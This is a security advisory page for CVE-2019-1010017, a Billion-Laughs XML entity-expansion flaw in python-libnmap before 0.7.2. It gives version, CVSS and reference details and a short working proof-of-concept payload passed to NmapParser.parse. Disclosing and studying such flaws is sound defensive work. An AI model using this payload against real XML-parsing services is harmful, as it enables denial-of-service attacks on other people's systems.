XML Injection in python-libnmap
Description
python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.
PoC
ty = NmapParser()
payload = """
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""
ty.parse(payload)Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | python-libnmap | < 0.7.2 | 0.7.2 |
References
- https://github.com/savon-noir/python-libnmap/issues/87
- https://github.com/advisories/GHSA-9ccv-p7fg-m73x
- https://nvd.nist.gov/vuln/detail/CVE-2019-1010017
- https://github.com/savon-noir/python-libnmap/commit/71b707758851e4b622f87d9a73266e06f60aeab4
- https://github.com/pypa/advisory-database/tree/main/vulns/python-libnmap/PYSEC-2019-218.yaml
- https://github.com/savon-noir/python-libnmap
- CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-91- Platform
- Python (PyPI)
- Package
python-libnmap- Disclosed
- 15.07.2019
- Updated
- 11.10.2026 11:20
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2019-218 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-9ccv-p7fg-m73x - CC BY 4.0
Vulnerability history: python-libnmap
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 07.2019 05.2022
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 1
Disclosures per year
- 2019: 1
- 2020: 0
- 2021: 0
- 2022: 1
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
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